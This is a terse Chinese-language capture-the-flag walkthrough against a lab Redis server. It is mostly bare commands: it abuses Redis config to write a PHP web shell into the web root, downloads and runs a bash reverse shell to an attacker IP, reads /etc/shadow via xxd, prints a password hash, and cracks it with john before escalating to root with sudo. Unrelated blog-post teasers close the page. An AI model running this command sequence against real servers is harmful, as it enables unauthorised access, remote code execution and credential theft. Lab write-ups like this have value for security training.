今天这一题是针对 Redis 服务的攻击,对於打腻 Web 的人应该会觉得满有趣的(?)。
nmap -A 10.10.149.195
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 01:29 EDT
Nmap scan report for 10.10.149.195
Host is up (0.29s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
![](https://i.imgur.com/3PG5lnw.png)
python3 dirsearch.py -u http://10.10.149.195/ -e all
nmap -p- 10.10.149.195
redis
6379
nmap -A
观察版本
nmap -p6379 -A 10.10.149.195
6.0.7
6.0.7
redis-cli -h 10.10.149.195
config set dir "/var/www/html"
/var/www/html
config set dbfilename meow.php
meow.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
/meow.php
config set dbfilename shell.php
set x "\r\n\r\n<?php system($_GET[A]);?>\r\n\r\n"
save
bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'
s
档案中python3 -m http.server
开启网页服务器http://10.10.149.195/shell.php?A=wget 10.13.21.55:8000/s -O /tmp/s
nc -vlk 7877
http://10.10.149.195/shell.php?A=bash%20/tmp/s
/home/vianka/user.txt
wget 10.13.21.55:8000/linpeas.sh
bash linpeas.sh | tee out.txt
xxd
可以用来提权/etc/shadow
的 hash
LFILE=/etc/shadow
xxd "$LFILE" | xxd -r
/etc/shadow
复制 vianka 的 hash 到本地端
vianka:$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0:18507:0:99999:7:::
呼叫约翰破密码
john j.txt --wordlist=/opt/rockyou.txt
beautiful1
切换使用者
su vianka
beautiful1
再次提权起手式
sudo -l
sudo
使用 sudo su
切换到 root
<<: TailwindCSS 从零开始 - 使用官方套件,以 typography 为例
关於我 大家好,我是 TD,目前在南方的小岛上担任菜鸟软件工程师。大学不是主修 CS 或资讯相关科...
今天我们来用 electron-forge 打包程序。 新增 electron-forge 到专案 ...
到此为止,若一切顺利,表示NNI安装正确,功能一切正常。但整个流程究竟在做甚麽事情呢? 首先,我们在...
event event(事件):在 DOM 物件上所发生的事件,如点击、滑动、变更等都是 事件处理与...
甚麽是立即函数? IIFE (Immediately Invoked Function Expres...